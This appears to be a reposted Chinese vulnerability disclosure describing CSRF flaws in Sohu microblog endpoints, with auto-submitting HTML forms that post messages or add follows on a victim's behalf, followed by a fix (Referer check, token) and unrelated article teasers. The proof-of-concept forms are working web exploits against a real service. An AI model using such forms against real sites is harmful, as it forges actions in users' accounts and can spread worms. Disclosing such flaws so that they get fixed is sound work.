时间:2021-05-23
搜狐某处CSRF漏洞,可能导致蠕虫蔓延,在未经用户同意的情况下发布微博
详细说明:
在接受POST和GET的信息的时候,未对POST来路(Referer)进行验证,同时也没有在POST的信息中加token验证信息的正确性,导致漏洞产生。
漏洞地址:
复制代码代码如下:
http://t.sohu.com/t/twAction.jsp
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
第二个
复制代码代码如下:
http://t.sohu.com/t/twAction.jsp
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
返回信息
效果
第三个:
漏洞地址:
复制代码代码如下:
http://t.sohu.com/follow/addfollows
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/follow/addfollows" method="post">
<input type="text" name="act" value="follow" />
<input type="text" name="friendids" value="23117291" />
<input type="text" name="uid" value="23117291" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
修复方案:
检查POST来路Referer
在POST的信息中加token
作者:imlonghao
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
如下所示:这个是因为laravel自带CSRF验证的问题解决方法方法一:去关掉laravel的csrf验证,但这个人不建议,方法也不写出来了。方法二:把该接口写
相关:文库、百度贴吧、知道、经验、百家号……博客:天涯、搜狐、新浪、网易、凤凰等。。。。。。微博:新浪微博、腾讯微博、网易微博、搜狐微博、微博等。。。自媒体:搜
本文实例分析了php中Y2K38漏洞的解决方法。分享给大家供大家参考。具体分析如下:Y2K38,又称UnixMillenniumBug,此漏洞将会影响到所有32
微博勋章源自微博应用,当下包括新浪,网易,搜狐和腾讯在内的各大微博应用均有不同程度的勋章展示,以表现微博拥有者的活动经历与自我个性。新浪微博勋章可以设置对自己已
手机微博突然打不开的解决方法如下: 1、可以更换网络环境,再进行发布; 2、清除微博应用的缓存。 微博(weibo),即微型博客(MicroBlog)的简